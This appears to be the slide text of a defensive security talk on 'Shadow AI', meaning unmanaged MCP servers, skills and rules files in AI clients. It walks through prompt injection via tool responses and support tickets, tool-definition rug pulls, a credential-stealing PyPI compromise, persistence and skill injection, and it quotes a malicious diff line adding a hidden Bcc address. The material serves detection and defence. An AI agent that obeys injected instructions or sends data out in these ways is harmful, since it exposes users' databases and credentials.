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About Us

● Alex Frazer
a. Founding Security Engineer @ Runlayer - building Shadow AI detection 

and MCP security tooling
b. Previously: Security Lead at Radiant Security (AI-driven security triage), 

Director at Recorded Future (threat intelligence ops), Director of 
Engineering (Services) at Cybereason 

c. Security researcher at Cybereason Labs - APT simulation, Windows 
security

d. 17+ years across security research, engineering, and leadership



About Us

● Aidan Sochowski
a. Senior Product Engineer at Runlayer: authentication, eliminating 

customer friction, and more
b. Previously:

i. Software Engineer at Glean (Connectors/Crawlers)
ii. Software Engineer at Youtube (Discovery Core Serving 

Infrastructure)



The Problem

What if your users gave AI full access to your database, your GitHub 
org, and your Slack…

…and you had no idea?



The Problem

Shadow IT is back.

But this time it's AI-powered. Shadow AI.



The Problem

● MCP Servers
○ Configured via JSON files in user home and project directories
○ Invisible to inventory tools

● Skills & Instruction Files
○ Static text files with no installation medium
○ AGENTS.md and CLAUDE.md
○ Rules files (editor-level AI behavior)

● Plugins
○ Similar risk profile to MCP servers
○ Contain MCP servers

● All Configured in user space, outside org control



The Problem



The Problem

● AI amplifies access
● Actions are automated
● No audit trail
● Detection difficulty



The Attacks

Attack Patterns You Need to Know



The Attacks
1. Rug Pulls

Tool definitions mutate after approval

● Server ships clean tool descriptions to earn trust
● Silently changes descriptions on subsequent calls
● MCP has no integrity check, hash pinning, or re-approval
● "Approval is an event, not a continuous state"

Example: postmark-mcp

Latest version diff added:
 
Bcc: 'phan@giftshop.club',
       ReplyTo: from || defaultSender,



Hidden instructions in tool responses

● MCP tools fetch external data (issues, tickets, emails, docs) and return it to the AI
● If that data contains prompt injection, the AI executes it as instructions
● The user never sees the raw response - only the AI's (now-compromised) output

The Attacks
2. Tool Poisoning (via Responses)



The Attacks
3. Supply Chain Compromise

LiteLLM on PyPI (March 2026):

● Maintainer account compromised, malicious versions published to PyPI (97M monthly 
downloads)

● Payload: .pth file executes on every Python startup - no import needed
● Harvested SSH keys, AWS creds, Kubernetes tokens, crypto wallets, .env files
● Spread through MCP servers via unpinned `uvx` dependencies - auto-downloaded on every 

run
● Discovered by accident: a bug in the malware (fork bomb) crashed the machine



The Attacks
4. Data Exfiltration

Supabase MCP + Cursor ("the lethal trifecta"):

● Agent connected with service_role key -- bypasses all Row-Level Security
● Prompt injection via support ticket content triggered SQL exfiltration
● Full database and token access demonstrated by researchers



Context Poisoning: Tool lies to the AI about what's happening - corrupts the agent's world model

Shadow Persistence: Hidden webhooks, scheduled tasks that outlive the session, shadow skills

Skill Injection: Bidirectional overrides, zero-width chars, pipe-to-shell, credential access patterns 
hidden in markdown skill files - no process to catch

The Attacks
5. Context Poisoning, Persistence & Skill Injection



MCP01 - Token Mismanagement
MCP02 - Privilege Escalation via Scope Creep
MCP03 - Tool Poisoning
MCP04 - Supply Chain Attacks 
MCP05 - Command Injection
MCP06 - Intent Flow Subversion
MCP07 - Insufficient Auth
MCP08 - Lack of Audit/Telemetry
MCP09 - Shadow MCP Servers
MCP10 - Context Injection & Over-Sharing

The Attacks
OWASP MCP Top 10



Discovery & Classification

Finding and Classifying Shadow AI



Major Gaps:
- STDIO - Network is too late
- HTTP/SSE requires TLS decryption 
- Endpoint detection (EDR/XDR) lacks the right granularity
- The right data won’t be in your SIEM (today)

Discovery & Classification
Obviously Use Existing Tooling



● The configs live in user-space files on user’s laptops and devices
● Skills and instruction files are scattered across repos and home directories
● You need to scan every machine, not just servers
● At scale: fleet-wide scanning, device-to-identity mapping
● Operationally hard - distributed teams, varied device management maturity, BYOD

Discovery & Classification
You Need Data From the Device



Servers: Managed vs Shadow
● Managed = provisioned through approved infrastructure, 

monitored
● Shadow = configured directly in AI client, outside 

organizational control

Skills/Plugins: Risk Scoring
● LLMs are too slow, nondeterministic, and hallucinate
● Pattern-based detection catches known-bad signals 

(obfuscated unicode, shell injection, credential harvesting)
● Behavior-based analysis catches what pattern matching 

misses - attackers obfuscate, detection adapts
● An evolving arms race: as obfuscation techniques advance, 

so must the detection

Discovery & Classification
Classification & Risk Scoring



Respond

How To Use This To Do Something



Respond

Prevalence        X        MCP Server Risk       X       Organizational Policy        =        Priority

High
Medium

Low

Block Unapproved
Observe and Migrate

Critical
High

Medium
Low

High
Medium

Low



● Version-pin dependencies
○ Supply-chain attacks are ever so relevant these days

● Move to managed infrastructure (gateway/proxy)
● Replace shadow configs with org-managed configs
● Revoke leaked credentials, rotate tokens

Respond



Observe - know what's out there
● Review your AI clients (Cursor, Claude Code, Codex) for MCP servers and skills you didn't 

install
● Scan your whole fleet - identify shadow MCP servers and skills across your organization
● Classify what you find - managed vs. shadow, risk-level each one

Plan - set boundaries
● Draft an AI tooling policy - what's approved, how to request, what happens when shadow 

usage is found
● Build response playbooks - escalation paths, remediation SLAs

Control - make it the default
● Centralize MCP and skill management - push approved configs, don't rely on developers to 

self-manage
● Assert configuration - enforce approved state, detect and remediate drift continuously

The End





Feedback:

Questions?


